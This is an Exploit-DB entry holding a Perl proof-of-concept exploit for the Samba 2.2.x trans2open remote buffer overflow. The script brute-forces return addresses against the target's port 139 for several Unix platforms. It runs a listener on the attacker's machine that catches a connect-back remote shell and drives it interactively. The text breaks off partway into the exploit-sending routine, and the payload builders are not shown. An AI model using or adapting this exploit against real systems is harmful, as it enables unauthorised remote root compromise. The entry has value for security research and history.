Exploit-DB #7
Description: Samba 2.2.x - Remote Buffer Overflow
Type: remote
Platform: linux
Date: 2003-04-07
Author: H D Moore

Exploit:
#!/usr/bin/perl
###############

##[ Header
#         Name:  trans2root.pl
#      Purpose:  Proof of concept exploit for Samba 2.2.x (trans2open overflow)
#       Author:  H D Moore <hdmoore@digitaldefense.net>
#    Copyright:  Copyright (C) 2003 Digital Defense Inc.
#  trans2root.pl <options> -t <target type> -H <your ip> -h <target ip>
##

use strict;
use Socket;
use IO::Socket;
use IO::Select;
use POSIX;
use Getopt::Std;

$SIG{USR2} = \&GoAway;

my %args;
my %targets =
(
    "linx86"  => [0xbffff3ff, 0xbfffffff, 0xbf000000, 512, \&CreateBuffer_linx86],
    "solx86"  => [0x08047404, 0x08047ffc, 0x08010101, 512, \&CreateBuffer_solx86],
    "fbsdx86" => [0xbfbfefff, 0xbfbfffff, 0xbf000000, 512, \&CreateBuffer_bsdx86],
    # name      # default   # start     # end      # step  # function
);

getopt('t:M:h:p:r:H:P:', \%args);

my $target_type = $args{t} || Usage();
my $target_host = $args{h} || Usage();
my $local_host  = $args{H} || Usage();
my $local_port  = $args{P} || 1981;
my $target_port = $args{p} || 139;

my $target_mode = "brute";

if (! exists($targets{$target_type})) { Usage(); }
print "[*] Using target type: $target_type\n";

# allow single mode via the -M option
if ($args{M} && uc($args{M}) eq "S")
{
    $target_mode = "single";
}

# the parent process listens for an incoming connection
# the child process handles the actual exploitation
my $listen_pid = $$;
my $exploit_pid = StartListener($local_port);

# get the default return address for single mode
my $targ_ret = $args{r} || $targets{$target_type}->[0];
my $curr_ret;
$targ_ret = eval($targ_ret);

if ($target_mode !~ /brute|single/)
{
    print "[*] Invalid attack mode: $target_mode (single or brute only)\n";
    exit(0);
}


if ($target_mode eq "single")
{
    $curr_ret = $targ_ret;
    if(! $targ_ret)
    {
       print "[*] Invalid return address specified!\n";
        kill("USR2", $listen_pid);
        exit(0);
    }

    print "[*] Starting single shot mode...\n";
    printf ("[*] Using return address of 0x%.8x\n", $targ_ret);
    my $buf = $targets{$target_type}->[4]->($local_host, $local_port, $targ_ret);
    my $ret = AttemptExploit($target_host, $target_port, $buf);

    sleep(2);
    kill("USR2", $listen_pid);
    exit(0);
}


if ($target_mode eq "brute")
{
    print "[*] Starting brute force mode...\n";

    for (
          $curr_ret  =$targets{$target_type}->[1];
          $curr_ret >= $targets{$target_type}->[2];
          $curr_ret -=$targets{$target_type}->[3]
        )
    {
        select(STDOUT); $|++;
        my $buf = $targets{$target_type}->[4]->($local_host, $local_port, $curr_ret);
        printf ("                                        \r[*] Return Address: 0x%.8x", $curr_ret);
        my $ret = AttemptExploit($target_host, $target_port, $buf);
    }
    sleep(2);
    kill("USR2", $listen_pid);
    exit(0);
}

sub Usage {

    print STDERR "\n";
    print STDERR " trans2root.pl - Samba 2.2.x 'trans2open()' Remote Exploit\n";
    print STDERR "===================================\n\n";
    print STDERR "    Usage: \n";
    print STDERR "           $0 <options> -t <target type> -H <your ip> -h <target ip>\n";
    print STDERR "  Options:  \n";
    print STDERR "           -M (S|B) <single or brute mode>\n";
    print STDERR "           -r       <return address for single mode>\n";
    print STDERR "           -p       <alternate Samba port>\n";
    print STDERR "           -P       <alternate listener port>\n";
    print STDERR "  Targets:\n";
    foreach my $type (keys(%targets))
    {
        print STDERR "            $type\n";
    }
    print STDERR "\n";


    exit(1);
}


sub StartListener {
    my ($local_port) = @_;
    my $listen_pid = $$;

    my $s = IO::Socket::INET->new (
                Proto => "tcp",
                LocalPort => $local_port,
                Type => SOCK_STREAM,
                Listen => 3,
                ReuseAddr => 1
    );

    if (! $s)
    {
        print "[*] Could not start listener: $!\n";
        exit(0);
    }

    print "[*] Listener started on port $local_port\n";

    my $exploit_pid = fork();
    if ($exploit_pid)
    {
        my $victim;
        $SIG{USR2} = \&GoAway;

        while ($victim = $s->accept())
        {
            kill("USR2", $exploit_pid);
            print STDOUT "\n[*] Starting Shell " . $victim->peerhost . ":" . $victim->peerport . "\n\n";
            StartShell($victim);
        }
        exit(0);
    }
    return ($exploit_pid);
}

sub StartShell {
    my ($client) = @_;
    my $sel = IO::Select->new();

    Unblock(*STDIN);
    Unblock(*STDOUT);
    Unblock($client);

    select($client); $|++;
    select(STDIN);   $|++;
    select(STDOUT);  $|++;

    $sel->add($client);
    $sel->add(*STDIN);

    print $client "echo \\-\\-\\=\\[ Welcome to `hostname` \\(`id`\\)\n";
    print $client "echo \n";

    while (fileno($client))
    {
        my $fd;
        my @fds = $sel->can_read(0.2);

        foreach $fd (@fds)
        {
            my @in = <$fd>;

            if(! scalar(@in)) { next; }

            if (! $fd || ! $client)
            {
                print "[*] Closing connection.\n";
                close($client);
                exit(0);
            }

            if ($fd eq $client)
            {
                print STDOUT join("", @in);
            } else {
                print $client join("", @in);
            }
        }
    }
    close ($client);
}

sub AttemptExploit {
    my ($Host, $Port, $Exploit) = @_;
    my $res;

    my $s = IO::Socket::INET->new(PeerAddr => $Host, PeerPort => $Port, Type
  => SOCK_STREAM, Protocol => "tcp");

    if (! $s)
    {
        print "\n[*] Error: could not connect: $!\n";
        kill("USR2", $listen_pid);
        exit(0);
    }

    select($s); $|++;